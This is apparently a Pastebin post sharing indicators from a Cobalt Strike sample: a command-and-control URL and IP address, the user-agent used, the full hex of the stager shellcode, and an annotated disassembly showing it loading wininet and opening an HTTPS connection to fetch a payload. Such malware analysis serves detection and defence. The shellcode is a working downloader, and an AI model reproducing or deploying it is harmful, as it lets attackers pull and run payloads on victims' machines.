API tools faq
paste
James_inthe_box

CobaltStrike

James_inthe_box
Oct 9th, 2017
1,124
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.07 KB | None | 0 0
raw download clone embed print report
  1. full c2:
  2. https://www.aws-cache.net/storefront/illustration/p/continous/
  3.  
  4. UA used:
  5. Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36
  6.  
  7. Hex dump: fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 e8 00 00 00 00 31 ff 57 57 57 57 57 68 3a 56 79 a7 ff d5 e9 a4 00 00 00 5b 31 c9 51 51 6a 03 51 51 68 bb 01 00 00 53 50 68 57 89 9f c6 ff d5 50 e9 8c 00 00 00 5b 31 d2 52 68 00 32 a0 84 52 52 52 53 52 50 68 eb 55 2e 3b ff d5 89 c6 83 c3 50 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 5f 31 ff 57 57 6a ff 53 56 68 2d 06 18 7b ff d5 85 c0 0f 84 ca 01 00 00 31 ff 85 f6 74 04 89 f9 eb 09 68 aa c5 e2 5d ff d5 89 c1 68 45 21 5e 31 ff d5 31 ff 57 6a 07 51 56 50 68 b7 57 e0 0b ff d5 bf 00 2f 00 00 39 c7 75 07 58 50 e9 7b ff ff ff 31 ff e9 91 01 00 00 e9 c9 01 00 00 e8 6f ff ff ff 2f 6f 73 46 34 00 6c 56 53 53 b6 fe 4e 08 d0 bb 42 d6 b7 f0 04 b7 02 8f 60 78 da 30 37 c8 4c aa 68 27 09 d8 9c 4a db 22 43 5f 56 25 f3 46 ad 13 d6 9f 57 76 54 04 dc a9 66 bb 9d 15 ed 7d 3b 52 c1 6f 1f b8 bd aa 3b 03 2f ee 5d e0 1a fb db 00 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 32 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 32 38 2e 30 2e 31 34 36 34 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 0d 0a 00 3b 0b 27 b3 0b 8b aa c8 cd a5 a3 3c 1e 12 ec 18 63 fc 10 68 7c ac 39 d0 f2 ed 9c fe 2e 17 45 26 3f 65 e2 7e 1a e8 cd b3 78 64 32 7c cc df 25 b0 24 ca f4 4b b5 ae 27 86 2a 6a e3 ef df 51 bd 11 30 d6 72 f7 00 d0 4f fe 59 88 d7 3b 73 04 ee 0f c8 8a 6e 4b 74 65 30 05 e7 a7 82 db b9 d5 20 52 6d ce 8a 04 51 06 fb 0f 30 69 47 26 22 62 dc 4d f5 b2 9b 51 52 8e a2 e1 5a 40 e9 b9 70 e5 ac a0 4e 83 ca d3 99 7d ec 6c 59 bf 53 e1 cb 03 ba 61 88 46 33 82 e6 5d 59 0c df 02 e7 09 59 00 f3 01 17 7b 56 0b b4 16 76 be 47 d7 21 ac 33 56 76 07 bf 83 9d d5 93 c7 9a 4c f5 67 63 51 00 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 57 68 58 a4 53 e5 ff d5 93 b9 00 00 00 00 01 d9 51 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 c6 8b 07 01 c3 85 c0 75 e5 58 c3 e8 89 fd ff ff 31 37 38 2e 36 32 2e 32 32 30 2e 38 39 00 12 98 47 86
  8. 0x00000000 fc cld
  9. 0x00000001 e889000000 call 0x0000008f
  10. 0x00000006 60 pushad
  11. 0x00000007 89e5 mov ebp,esp
  12. 0x00000009 31d2 xor edx,edx
  13. 0x0000000b 648b5230 fs: mov edx,dword [edx + 48]
  14. 0x0000000f 8b520c mov edx,dword [edx + 12]
  15. 0x00000012 8b5214 mov edx,dword [edx + 20]
  16. 0x00000015 8b7228 mov esi,dword [edx + 40]
  17. 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
  18. 0x0000001c 31ff xor edi,edi
  19. 0x0000001e 31c0 xor eax,eax
  20. 0x00000020 ac lodsb
  21. 0x00000021 3c61 cmp al,97
  22. 0x00000023 7c02 jl 0x00000027
  23. 0x00000025 2c20 sub al,32
  24. 0x00000027 c1cf0d ror edi,13
  25. 0x0000002a 01c7 add edi,eax
  26. 0x0000002c e2f0 loop 0x0000001e
  27. 0x0000002e 52 push edx
  28. 0x0000002f 57 push edi
  29. 0x00000030 8b5210 mov edx,dword [edx + 16]
  30. 0x00000033 8b423c mov eax,dword [edx + 60]
  31. 0x00000036 01d0 add eax,edx
  32. 0x00000038 8b4078 mov eax,dword [eax + 120]
  33. 0x0000003b 85c0 test eax,eax
  34. 0x0000003d 744a jz 0x00000089
  35. 0x0000003f 01d0 add eax,edx
  36. 0x00000041 50 push eax
  37. 0x00000042 8b4818 mov ecx,dword [eax + 24]
  38. 0x00000045 8b5820 mov ebx,dword [eax + 32]
  39. 0x00000048 01d3 add ebx,edx
  40. 0x0000004a e33c jecxz 0x00000088
  41. 0x0000004c 49 dec ecx
  42. 0x0000004d 8b348b mov esi,dword [ebx + ecx * 4]
  43. 0x00000050 01d6 add esi,edx
  44. 0x00000052 31ff xor edi,edi
  45. 0x00000054 31c0 xor eax,eax
  46. 0x00000056 ac lodsb
  47. 0x00000057 c1cf0d ror edi,13
  48. 0x0000005a 01c7 add edi,eax
  49. 0x0000005c 38e0 cmp al,ah
  50. 0x0000005e 75f4 jnz 0x00000054
  51. 0x00000060 037df8 add edi,dword [ebp - 8]
  52. 0x00000063 3b7d24 cmp edi,dword [ebp + 36]
  53. 0x00000066 75e2 jnz 0x0000004a
  54. 0x00000068 58 pop eax
  55. 0x00000069 8b5824 mov ebx,dword [eax + 36]
  56. 0x0000006c 01d3 add ebx,edx
  57. 0x0000006e 668b0c4b mov cx,word [ebx + ecx * 2]
  58. 0x00000072 8b581c mov ebx,dword [eax + 28]
  59. 0x00000075 01d3 add ebx,edx
  60. 0x00000077 8b048b mov eax,dword [ebx + ecx * 4]
  61. 0x0000007a 01d0 add eax,edx
  62. 0x0000007c 89442424 mov dword [esp + 36],eax
  63. 0x00000080 5b pop ebx
  64. 0x00000081 5b pop ebx
  65. 0x00000082 61 popad
  66. 0x00000083 59 pop ecx
  67. 0x00000084 5a pop edx
  68. 0x00000085 51 push ecx
  69. 0x00000086 ffe0 jmp eax
  70. 0x00000088 58 pop eax
  71. 0x00000089 5f pop edi
  72. 0x0000008a 5a pop edx
  73. 0x0000008b 8b12 mov edx,dword [edx]
  74. 0x0000008d eb86 jmp 0x00000015
  75. 0x0000008f 5d pop ebp
  76. 0x00000090 686e657400 push 0x0074656e--> 'ten'
  77. 0x00000095 6877696e69 push 0x696e6977--> 'iniw'
  78. 0x0000009a 54 push esp
  79. 0x0000009b 684c772607 push 0x0726774c--> '&wL'
  80. 0x000000a0 ffd5 call ebp --> kernel32.dll!LoadLibraryA
  81. 0x000000a2 e800000000 call 0x000000a7
  82. 0x000000a7 31ff xor edi,edi
  83. 0x000000a9 57 push edi
  84. 0x000000aa 57 push edi
  85. 0x000000ab 57 push edi
  86. 0x000000ac 57 push edi
  87. 0x000000ad 57 push edi
  88. 0x000000ae 683a5679a7 push 0xa779563a--> 'yV:'
  89. 0x000000b3 ffd5 call ebp --> wininet.dll!InternetOpenA
  90. 0x000000b5 e9a4000000 jmp 0x0000015e
  91. 0x000000ba 5b pop ebx
  92. 0x000000bb 31c9 xor ecx,ecx
  93. 0x000000bd 51 push ecx
  94. 0x000000be 51 push ecx
  95. 0x000000bf 6a03 push 3
  96. 0x000000c1 51 push ecx
  97. 0x000000c2 51 push ecx
  98. 0x000000c3 68bb010000 push 443
  99. 0x000000c8 53 push ebx
  100. 0x000000c9 50 push eax
  101. 0x000000ca 6857899fc6 push 0xc69f8957
  102. 0x000000cf ffd5 call ebp --> wininet.dll!InternetConnectA
  103. 0x000000d1 50 push eax
  104. 0x000000d2 e98c000000 jmp 0x00000163
  105. 0x000000d7 5b pop ebx
  106. 0x000000d8 31d2 xor edx,edx
  107. 0x000000da 52 push edx
  108. 0x000000db 680032a084 push 0x84a03200
  109. 0x000000e0 52 push edx
  110. 0x000000e1 52 push edx
  111. 0x000000e2 52 push edx
  112. 0x000000e3 53 push ebx
  113. 0x000000e4 52 push edx
  114. 0x000000e5 50 push eax
  115. 0x000000e6 68eb552e3b push 0x3b2e55eb--> ';.U'
  116. 0x000000eb ffd5 call ebp --> wininet.dll!HttpOpenRequestA
  117. 0x000000ed 89c6 mov esi,eax
  118. 0x000000ef 83c350 add ebx,80
  119. 0x000000f2 6880330000 push 0x00003380
  120. 0x000000f7 89e0 mov eax,esp
  121. 0x000000f9 6a04 push 4
  122. 0x000000fb 50 push eax
  123. 0x000000fc 6a1f push 31
  124. 0x000000fe 56 push esi
  125. 0x000000ff 6875469e86 push 0x869e4675--> 'Fu'
  126. 0x00000104 ffd5 call ebp --> wininet.dll!InternetSetOptionA
  127. 0x00000106 5f pop edi
  128. 0x00000107 31ff xor edi,edi
  129. 0x00000109 57 push edi
  130. 0x0000010a 57 push edi
  131. 0x0000010b 6aff push 255
  132. 0x0000010d 53 push ebx
  133. 0x0000010e 56 push esi
  134. 0x0000010f 682d06187b push 0x7b18062d--> '{-'
  135. 0x00000114 ffd5 call ebp --> wininet.dll!HttpSendRequestA
  136. 0x00000116 85c0 test eax,eax
  137. 0x00000118 0f84ca010000 jz 0x000002e8
  138. 0x0000011e 31ff xor edi,edi
  139. 0x00000120 85f6 test esi,esi
  140. 0x00000122 7404 jz 0x00000128
  141. 0x00000124 89f9 mov ecx,edi
  142. 0x00000126 eb09 jmp 0x00000131
  143. 0x00000128 68aac5e25d push 0x5de2c5aa
  144. 0x0000012d ffd5 call ebp --> kernel32.dll!GetLastError
  145. 0x0000012f 89c1 mov ecx,eax
  146. 0x00000131 6845215e31 push 0x315e2145--> '1^!E'
  147. 0x00000136 ffd5 call ebp
  148. 0x00000138 31ff xor edi,edi
  149. 0x0000013a 57 push edi
  150. 0x0000013b 6a07 push 7
  151. 0x0000013d 51 push ecx
  152. 0x0000013e 56 push esi
  153. 0x0000013f 50 push eax
  154. 0x00000140 68b757e00b push 0x0be057b7--> '
  155. W'
  156. 0x00000145 ffd5 call ebp --> wininet.dll!InternetErrorDlg
  157. 0x00000147 bf002f0000 mov edi,0x00002f00
  158. 0x0000014c 39c7 cmp edi,eax
  159. 0x0000014e 7507 jnz 0x00000157
  160. 0x00000150 58 pop eax
  161. 0x00000151 50 push eax
  162. 0x00000152 e97bffffff jmp 0x000000d2
  163. 0x00000157 31ff xor edi,edi
  164. 0x00000159 e991010000 jmp 0x000002ef
  165. 0x0000015e e9c9010000 jmp 0x0000032c
  166. 0x00000163 e86fffffff call 0x000000d7
  167. 0x00000168 2f das
  168. 0x00000169 6f outsd edx,dword [esi]
  169. 0x0000016a 7346 jnc 0x000001b2
  170. 0x0000016c 3400 xor al,0
  171. 0x0000016e 6c insb byte [esi],edx
  172. 0x0000016f 56 push esi
  173. 0x00000170 53 push ebx
  174. 0x00000171 53 push ebx
  175. 0x00000172 b6fe mov dh,254
  176. 0x00000174 4e dec esi
  177. 0x00000175 08d0 or al,dl
  178. 0x00000177 bb42d6b7f0 mov ebx,0xf0b7d642
  179. 0x0000017c 04b7 add al,183
  180. 0x0000017e 028f6078da30 add cl,byte [edi + 819624032]
  181. 0x00000184 37 aaa
  182. 0x00000185 c84caa68 enter 0x0000aa4c,104
  183. 0x00000189 27 daa
  184. 0x0000018a 09d8 or eax,ebx
  185. 0x0000018c 9c pushfd
  186. 0x0000018d 4a dec edx
  187.  
  188. Byte Dump:
  189. ......`..1.d.R0.R.R..r(..J&1.1..<a|.,......RW.R..B<[email protected]...<I.4...1.1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..X_Z....]hnet.hwiniThLw&........1.WWWWWh:Vy........[1.QQj.QQh....SPhW.....P.....[1.Rh.2..RRRSRPh.U.;......Ph.3....j.Pj.VhuF...._1.WWj.SVh-..{..........1...t....h...]....hE!^1..1.Wj.QVPh.W...../..9.u.XP.{...1............o.../osF4.lVSS..N...B.......`x.07.L.h'..J."C_V%.F....WvT...f....};R.o....;./.].....User-Agent:Mozilla/5.0(WindowsNT6.2)AppleWebKit/537.36(KHTML,likeGecko)Chrome/28.0.1464.0Safari/537.36.;'.......<....c..h|.9.......E&?e.~....xd2|..%.$..K..'.*j...Q..0.r...O.Y..;s.....nKte0.......Rm...Q...0iG&"[email protected]....}.lY.S....a.F3..]Y...Y....{[email protected]..@.WhX.S...........QS..Wh...SVh........t.......u.X......178.62.220.89...G.
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!